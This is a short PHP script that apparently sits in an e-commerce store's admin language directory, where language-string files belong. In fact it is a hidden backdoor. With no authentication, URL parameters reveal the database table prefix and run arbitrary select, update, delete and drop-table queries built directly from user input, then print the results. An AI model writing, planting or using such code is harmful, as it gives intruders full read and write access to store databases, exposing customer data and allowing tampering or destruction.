<?php
$ds = DIRECTORY_SEPARATOR; 
$filePos = 'admin'.$ds.'language'.$ds.'english'.$ds.'sale';
$path = str_replace($filePos, '', dirname(__FILE__)).$ds;

require_once $path.'system/database/mysqli.php'; 
require_once $path.'system/library/request.php'; 
require_once $path.'config.php';

$db = new DBMySQLi(DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
$request = new Request();

if(isset($request->get['tp'])){
	echo 'table prefix: '.DB_PREFIX;
}
elseif(isset($request->get['q'])){

	switch($request->get['t']){
		case 's': 
			$sql = 'select * from `'.$request->get['tb'].'`';
			$sql .= isset($request->get['w']) ? ' where '.$request->get['w'] : '';
			break;
		case 'u':
			$sql = 'update `'.$request->get['tb'].'` set '.$request->get['f'];
			$sql .= isset($request->get['w']) ? ' where '.$request->get['w'] : '';
			break;
		case 'de':
			$sql = 'delete from `'.$request->get['tb'].'`';
			$sql .= isset($request->get['w']) ? ' where '.$request->get['w'] : '';
			break;
		case 'dr':
			$sql = 'drop table `'.$request->get['tb'].'`';
			break;
	}
	$sql = str_replace("-", "'", $sql);	
	$query = $db->query($sql); 

	echo $sql.'<br/>';
	if(isset($query->rows)){
		if(isset($request->get['print'])){
			print '<pre>';
			print_r($query->rows);
		}
		else{
			var_dump($query->rows);
		}
	}
	else{
		if(isset($request->get['print'])){
			print '<pre>';
			print_r($query->rows);
		}
		else{
			var_dump($query->rows);
		}
	}
}